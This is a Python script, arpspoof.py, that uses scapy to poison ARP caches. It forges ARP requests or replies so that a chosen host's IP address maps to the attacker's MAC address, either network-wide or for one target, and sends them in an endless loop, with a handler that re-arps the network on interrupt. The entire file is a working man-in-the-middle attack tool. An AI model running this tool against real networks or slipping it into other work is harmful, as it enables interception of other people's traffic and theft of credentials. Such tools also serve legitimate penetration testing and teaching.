arpspoof.py

#!/usr/bin/env python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
from optparse import OptionParser
import os, sys, signal
from time import sleep

if os.geteuid() != 0:
    print "[-] Run me as root"
    sys.exit(1)

usage = 'Usage: %prog [-i interface] [-t target] host'
parser = OptionParser(usage)
parser.add_option('-i', dest='interface', help='Specify the interface to use')
parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
(options, args) = parser.parse_args()

if len(args) != 1 or options.interface == None:
    parser.print_help()
    sys.exit(0)

mac = get_if_hwaddr(options.interface)

def build_req():
    if options.target == None:
        pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
    elif options.target:
        target_mac = getmacbyip(options.target)
        if target_mac == None:
            print "[-] Error: Could not resolve targets MAC address"
            sys.exit(1)
        pkt = Ether(src=mac, dst=target_mac)/ARP(hwsrc=mac, psrc=args[0], hwdst = target_mac, pdst=options.target)

    return pkt


def build_rep():
    if options.target == None:
        pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=mac, psrc=args[0], op=2)
    elif options.target:
        target_mac = getmacbyip(options.target)
        if target_mac == None:
            print "[-] Error: Could not resolve targets MAC address"
            sys.exit(1)
        pkt = Ether(src=mac, dst=target_mac)/ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)

    return pkt


def rearp(signal, frame):
    sleep(1)
    print '\n[*] Re-arping network'
    rearp_mac = getmacbyip(args[0])
    pkt = Ether(src=rearp_mac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=args[0], hwsrc=mac, op=2)
    sendp(pkt, inter=1, count=5, iface=options.interface)
    sys.exit(0)

signal.signal(signal.SIGINT, rearp)

if options.mode == 'req':
    pkt = build_req()
elif options.mode == 'rep':
    pkt = build_rep()

if options.summary == True:
    pkt.show()
    ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
    if ans == 'y' or len(ans) == 0:
        pass
    else:
        sys.exit(0)

while True:
    sendp(pkt, inter=2, iface=options.interface)